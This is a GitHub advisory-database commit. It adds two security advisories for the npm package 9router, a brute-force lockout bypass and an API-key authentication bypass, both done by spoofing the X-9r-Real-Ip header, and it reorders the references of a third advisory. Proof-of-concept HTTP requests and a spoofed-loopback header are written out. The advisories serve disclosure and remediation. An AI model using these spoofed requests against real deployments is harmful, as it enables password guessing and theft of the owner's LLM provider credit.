Skip to content

Commit ea8da1e

Browse files
Advisory Database Sync
1 parent 1708d1a commit ea8da1e

119 files changed

Lines changed: 3075 additions & 172 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-32gc-64m7-hj7v",
4+
"modified": "2026-09-22T16:34:18Z",
5+
"published": "2026-09-22T16:34:18Z",
6+
"aliases": [
7+
"CVE-2026-56682"
8+
],
9+
"summary": "9Router has a Login Brute-Force Lockout Bypass via Spoofable X-9r-Real-Ip Header",
10+
"details": "# Summary\n\n9router enforces a progressive login lockout (5 failed attempts → temporary 30s+ lock) keyed on the client IP. The client IP used for this limiter is taken from the X-9r-Real-Ip request header, which is intended to be set only by the bundled custom-server.js layer from the unspoofable TCP socket address. In deployment modes where requests reach Next.js directly, a remote attacker controls this header and can assign a unique value to every request. Because each distinct header value maps to a fresh limiter bucket, the lockout never triggers, enabling unlimited password guessing against the dashboard login endpoint. This was reproduced against a live instance: a fixed header value was locked out (429) after 5 attempts, while rotating the header produced unlimited 401 responses with no lockout.\n\n# Affected Component\n\n- `src/lib/auth/loginLimiter.js`\n - `getClientIp()` — derives the rate-limit bucket key from the client-supplied `X-9r-Real-Ip` header\n - `checkLock()` / `recordFail()` — per-IP progressive lockout (`MAX_FAILS_BEFORE_LOCK = 5`)\n- `src/app/api/auth/login/route.js` — login endpoint protected by the above limiter\n\n# Root Cause\n\nThe brute-force protection partitions failed-attempt counters by client IP, but obtains that IP from a client-controllable HTTP header rather than from the transport layer. `getClientIp()` returns the value of `X-9r-Real-Ip` directly. The design assumes this header is produced and sanitized only by the trusted `custom-server.js` wrapper. When the application is served without that wrapper, the header passes through unmodified, so the attacker chooses the bucket key. Since the lockout is per-bucket, assigning a new value per request keeps every counter below the threshold:\n\n```text\nUntrusted Client Input\n ↓\nX-9r-Real-Ip: <attacker-chosen, rotated each request>\n ↓\ngetClientIp() → distinct bucket per request\n ↓\nrecordFail()/checkLock() → threshold (5) never reached\n ↓\nunlimited 401 attempts, no 429 lockout\n```\n\n# Attack Scenario\n\n1. The instance is deployed in a mode that does not use `custom-server.js`, and the login endpoint is reachable by the attacker (the default bind is `0.0.0.0`).\n\n2. The attacker submits password guesses to `POST /api/auth/login`, setting a different `X-9r-Real-Ip` value on each request (e.g., `10.0.0.1`, `10.0.0.2`, ...).\n\n3. Each request is counted against a new bucket, so the limiter always reports remaining attempts and never returns `429`.\n\n4. The attacker continues guessing without throttling until the dashboard password is recovered, yielding an authenticated admin session.\n\n# Proof of Concept\n\n## Baseline — fixed header value (lockout enforced)\n\nRepeated `POST /api/auth/login` with a constant `X-9r-Real-Ip: 9.9.9.9` and body `{\"password\":\"wrong\"}`:\n\n```http\nPOST /api/auth/login HTTP/1.1\nHost: victim.example.com:20127\nX-9r-Real-Ip: 9.9.9.9\nContent-Type: application/json\nContent-Length: 20\nConnection: close\n\n{\"password\":\"wrong\"}\n```\n\nObserved responses (sequential):\n\n```text\n#1 → 401 {\"error\":\"Invalid password. 4 attempt(s) left before lockout.\",\"remainingBeforeLock\":4}\n\n#2 → 401 {\"error\":\"Invalid password. 3 attempt(s) left before lockout.\",\"remainingBeforeLock\":3}\n\n#3 → 401 {\"error\":\"Invalid password. 2 attempt(s) left before lockout.\",\"remainingBeforeLock\":2}\n\n#4 → 401 {\"error\":\"Invalid password. 1 attempt(s) left before lockout.\",\"remainingBeforeLock\":1}\n\n#5 → 429 Retry-After: 30\n {\"error\":\"Too many failed attempts. Try again in 30s. ...\",\"retryAfter\":30}\n```\n\n## Exploit — rotated header value (lockout bypassed)\n\nSame request and body, but a different `X-9r-Real-Ip` per request, sent while `9.9.9.9` was already locked:\n\n```http\nPOST /api/auth/login HTTP/1.1\nHost: victim.example.com:20127\nX-9r-Real-Ip: 10.0.0.1\nContent-Type: application/json\nContent-Length: 20\nConnection: close\n\n{\"password\":\"wrong\"}\n```\n\nObserved responses:\n\n```text\nX-9r-Real-Ip: 10.0.0.1 → 401 {\"error\":\"Invalid password. 4 attempt(s) left before lockout.\",\"remainingBeforeLock\":4}\n\nX-9r-Real-Ip: 10.0.0.2 → 401 {\"error\":\"Invalid password. 4 attempt(s) left before lockout.\",\"remainingBeforeLock\":4}\n\nX-9r-Real-Ip: 10.0.0.3 → 401 {\"error\":\"Invalid password. 4 attempt(s) left before lockout.\",\"remainingBeforeLock\":4}\n```\n<img width=\"1211\" height=\"814\" alt=\"Screenshot 2026-06-19 183338\" src=\"https://github.com/user-attachments/assets/07e37cf3-1860-4a06-8b27-97a5f6b9be64\" />\n<img width=\"1208\" height=\"816\" alt=\"Screenshot 2026-06-19 183408\" src=\"https://github.com/user-attachments/assets/27021c5c-cb29-4649-887e-8de46f4c6e1c\" />\n\nEvery rotated value resets to `\"4 attempt(s) left\"` and never returns `429`, demonstrating unbounded guessing.\n# Impact\n\nThe login brute-force/credential-stuffing protection can be fully neutralized by a remote, unauthenticated attacker. This permits unlimited password guessing against the dashboard login endpoint, materially increasing the likelihood of account compromise. A recovered password yields an authenticated administrative session over the 9router dashboard and its protected APIs. The bypass is especially impactful given the default network bind (`0.0.0.0`) and the existence of a default dashboard password, both of which lower the effort required to succeed.\n\n# Remediation\n\n- Do not derive the rate-limit key from a client-controllable header. Base `getClientIp()` on the transport-level peer address (`req.socket.remoteAddress`) for the limiter bucket.\n- Only honor forwarded client-IP headers when they originate from explicitly trusted, configured proxy infrastructure.\n- If `custom-server.js` is required for the security model, fail closed when its trusted marker is absent, and strip/reject any inbound client-supplied `X-9r-*` headers at the edge before they reach the limiter.\n- Consider a global (non-bucketed) attempt ceiling and exponential backoff as defense-in-depth so that header manipulation cannot reset all counters.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "9router"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.5.8"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.5.4"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/decolua/9router/security/advisories/GHSA-32gc-64m7-hj7v"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/decolua/9router/commit/efd20be8d81ef2e256a7037f3aa78e6b567b5fd3"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/decolua/9router"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/decolua/9router/releases/tag/v0.5.6"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-307",
62+
"CWE-807"
63+
],
64+
"severity": "MODERATE",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-09-22T16:34:18Z",
67+
"nvd_published_at": null
68+
}
69+
}
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-5mj8-gf6m-fhw8",
4+
"modified": "2026-09-22T16:34:06Z",
5+
"published": "2026-09-22T16:34:06Z",
6+
"aliases": [
7+
"CVE-2026-56681"
8+
],
9+
"summary": "9Router has an Authentication Bypass in Public LLM API via Spoofable X-9r-Real-Ip Header",
10+
"details": "## Summary\n\n9router determines whether an incoming request originates from localhost by trusting the X-9r-Real-Ip HTTP request header. This header is intended to be produced and sanitized exclusively by the bundled custom-server.js layer from the TCP socket address. In deployment modes where requests reach Next.js directly (the header is never stripped/regenerated), a remote, unauthenticated attacker can simply send X-9r-Real-Ip: 127.0.0.1 and be treated as a local client. This bypasses the API-key requirement on the public LLM API (/api/v1/*), granting unauthenticated access to the instance owner's configured provider resources.\n\n## Affected Component\n\n- src/dashboardGuard.js \n- isLocalRequest() — trusts the client-supplied X-9r-Real-Ip header to decide loopback origin \n- canAccessPublicLlmApi() — grants access to /api/v1/* when isLocalRequest() returns true, skipping API-key validation \n- Verified affected route: GET /api/v1/models \n- Product version tested: 9router-app 0.5.4 (Next.js 16.2.9)\n## Root Cause\n\nThe authorization layer makes a security decision based on a client-controllable HTTP header. isLocalRequest() reads X-9r-Real-Ip and, if its value is a loopback address (127.0.0.1), classifies the request as local. The design assumes this header can only be set by the trusted custom-server.js wrapper (which derives it from the unspoofable socket address and strips any inbound copy). When the application is served without that wrapper, Next.js passes the attacker-supplied header through unchanged, so the trust assumption is violated:\n\n```text\nUntrusted Client Input\n ↓\nX-9r-Real-Ip: 127.0.0.1\n ↓\nisLocalRequest() → true\n ↓\ncanAccessPublicLlmApi() → allowed (API key not required)\n ↓\n200 OK\n```\n\n## Attack Scenario\n\n1. The instance is deployed in a mode that does not use custom-server.js, and the LLM API is reachable by the attacker (the default bind is 0.0.0.0).\n2. The attacker sends a normal request to /api/v1/models and receives 401 Unauthorized (API key required for remote access).\n3. The attacker re-sends the identical request with the single added header X-9r-Real-Ip: 127.0.0.1.\n4. The request is classified as local, the API-key check is skipped, and the attacker receives 200 OK with the owner's model catalog and ongoing access to the LLM API.\n\n## Proof of Concept\n\n### Baseline Request\n<img width=\"1211\" height=\"402\" alt=\"Screenshot 2026-06-19 174727\" src=\"https://github.com/user-attachments/assets/170b635f-1bd6-4dfd-ad85-30a03a9f6f72\" />\n\n### Exploit Request\n\n<img width=\"1207\" height=\"816\" alt=\"Screenshot 2026-06-19 174844\" src=\"https://github.com/user-attachments/assets/b7b4efde-c071-4aa2-ab13-9bde7c88a7b8\" />\n\n\nThe only difference between the two requests is the addition of X-9r-Real-Ip: 127.0.0.1.\n## Impact\n\nAn unauthenticated remote attacker who can reach the service can bypass API-key enforcement on the public LLM API and act as a trusted local client. Consequences include:\n\n- Unauthorized use of the owner's configured LLM provider connections\n- Consumption of paid API credits / financial loss to the instance owner\n- Abuse of upstream provider accounts via the proxy\n- Enumeration of configured providers and available models\n\n## Remediation\n\n- Do not trust X-9r-Real-Ip (or any X-9r-* header) when received directly from clients.\n- Derive the client address for authorization from a trusted transport-level source, e.g. req.socket.remoteAddress, rather than a request header.\n- If custom-server.js is required for the security model, fail closed when its trusted marker is absent, and explicitly strip/reject any inbound client-supplied X-9r-* headers at the edge.\n- Document supported, secure startup modes so the application is not run in a configuration where the header is attacker-controllable.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "9router"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.5.8"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.5.4"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/decolua/9router/security/advisories/GHSA-5mj8-gf6m-fhw8"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/decolua/9router/commit/efd20be8d81ef2e256a7037f3aa78e6b567b5fd3"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/decolua/9router"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/decolua/9router/releases/tag/v0.5.6"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-807"
62+
],
63+
"severity": "HIGH",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-09-22T16:34:06Z",
66+
"nvd_published_at": null
67+
}
68+
}

‎advisories/unreviewed/2026/06/GHSA-8vmr-q5h8-3vc5/GHSA-8vmr-q5h8-3vc5.json‎

Lines changed: 56 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-8vmr-q5h8-3vc5",
4-
"modified": "2026-09-21T12:32:31Z",
4+
"modified": "2026-09-22T15:32:24Z",
55
"published": "2026-06-19T18:32:34Z",
66
"aliases": [
77
"CVE-2026-56209"
@@ -21,103 +21,135 @@
2121
},
2222
{
2323
"type": "WEB",
24-
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-56209.json"
24+
"url": "https://access.redhat.com/errata/RHSA-2026:68708"
2525
},
2626
{
2727
"type": "WEB",
28-
"url": "https://issues.chromium.org/issues/503993984"
28+
"url": "https://access.redhat.com/errata/RHSA-2026:68709"
2929
},
3030
{
3131
"type": "WEB",
32-
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2490800"
32+
"url": "https://access.redhat.com/errata/RHSA-2026:68710"
3333
},
3434
{
3535
"type": "WEB",
36-
"url": "https://aomedia.googlesource.com/aom/+/a93ba0ffaa"
36+
"url": "https://access.redhat.com/errata/RHSA-2026:69927"
37+
},
38+
{
39+
"type": "WEB",
40+
"url": "https://access.redhat.com/errata/RHSA-2026:69929"
41+
},
42+
{
43+
"type": "WEB",
44+
"url": "https://access.redhat.com/errata/RHSA-2026:69930"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://access.redhat.com/errata/RHSA-2026:69931"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://access.redhat.com/errata/RHSA-2026:69932"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://access.redhat.com/errata/RHSA-2026:69933"
57+
},
58+
{
59+
"type": "WEB",
60+
"url": "https://access.redhat.com/errata/RHSA-2026:69934"
61+
},
62+
{
63+
"type": "WEB",
64+
"url": "https://access.redhat.com/errata/RHSA-2026:69935"
3765
},
3866
{
3967
"type": "WEB",
4068
"url": "https://access.redhat.com/security/cve/CVE-2026-56209"
4169
},
4270
{
4371
"type": "WEB",
44-
"url": "https://access.redhat.com/errata/RHSA-2026:68710"
72+
"url": "https://aomedia.googlesource.com/aom/+/a93ba0ffaa"
4573
},
4674
{
4775
"type": "WEB",
48-
"url": "https://access.redhat.com/errata/RHSA-2026:68709"
76+
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2490800"
4977
},
5078
{
5179
"type": "WEB",
52-
"url": "https://access.redhat.com/errata/RHSA-2026:68708"
80+
"url": "https://issues.chromium.org/issues/503993984"
5381
},
5482
{
5583
"type": "WEB",
56-
"url": "https://access.redhat.com/errata/RHSA-2026:68699"
84+
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-56209.json"
5785
},
5886
{
5987
"type": "WEB",
60-
"url": "https://access.redhat.com/errata/RHSA-2026:68698"
88+
"url": "https://access.redhat.com/errata/RHSA-2026:30814"
6189
},
6290
{
6391
"type": "WEB",
64-
"url": "https://access.redhat.com/errata/RHSA-2026:68697"
92+
"url": "https://access.redhat.com/errata/RHSA-2026:42875"
6593
},
6694
{
6795
"type": "WEB",
68-
"url": "https://access.redhat.com/errata/RHSA-2026:68696"
96+
"url": "https://access.redhat.com/errata/RHSA-2026:51100"
6997
},
7098
{
7199
"type": "WEB",
72-
"url": "https://access.redhat.com/errata/RHSA-2026:68640"
100+
"url": "https://access.redhat.com/errata/RHSA-2026:51146"
73101
},
74102
{
75103
"type": "WEB",
76-
"url": "https://access.redhat.com/errata/RHSA-2026:68639"
104+
"url": "https://access.redhat.com/errata/RHSA-2026:60520"
77105
},
78106
{
79107
"type": "WEB",
80-
"url": "https://access.redhat.com/errata/RHSA-2026:68638"
108+
"url": "https://access.redhat.com/errata/RHSA-2026:61627"
81109
},
82110
{
83111
"type": "WEB",
84-
"url": "https://access.redhat.com/errata/RHSA-2026:68637"
112+
"url": "https://access.redhat.com/errata/RHSA-2026:61628"
113+
},
114+
{
115+
"type": "WEB",
116+
"url": "https://access.redhat.com/errata/RHSA-2026:61629"
85117
},
86118
{
87119
"type": "WEB",
88120
"url": "https://access.redhat.com/errata/RHSA-2026:68634"
89121
},
90122
{
91123
"type": "WEB",
92-
"url": "https://access.redhat.com/errata/RHSA-2026:61629"
124+
"url": "https://access.redhat.com/errata/RHSA-2026:68637"
93125
},
94126
{
95127
"type": "WEB",
96-
"url": "https://access.redhat.com/errata/RHSA-2026:61628"
128+
"url": "https://access.redhat.com/errata/RHSA-2026:68638"
97129
},
98130
{
99131
"type": "WEB",
100-
"url": "https://access.redhat.com/errata/RHSA-2026:61627"
132+
"url": "https://access.redhat.com/errata/RHSA-2026:68639"
101133
},
102134
{
103135
"type": "WEB",
104-
"url": "https://access.redhat.com/errata/RHSA-2026:60520"
136+
"url": "https://access.redhat.com/errata/RHSA-2026:68640"
105137
},
106138
{
107139
"type": "WEB",
108-
"url": "https://access.redhat.com/errata/RHSA-2026:51146"
140+
"url": "https://access.redhat.com/errata/RHSA-2026:68696"
109141
},
110142
{
111143
"type": "WEB",
112-
"url": "https://access.redhat.com/errata/RHSA-2026:51100"
144+
"url": "https://access.redhat.com/errata/RHSA-2026:68697"
113145
},
114146
{
115147
"type": "WEB",
116-
"url": "https://access.redhat.com/errata/RHSA-2026:42875"
148+
"url": "https://access.redhat.com/errata/RHSA-2026:68698"
117149
},
118150
{
119151
"type": "WEB",
120-
"url": "https://access.redhat.com/errata/RHSA-2026:30814"
152+
"url": "https://access.redhat.com/errata/RHSA-2026:68699"
121153
}
122154
],
123155
"database_specific": {

0 commit comments

Comments
 (0)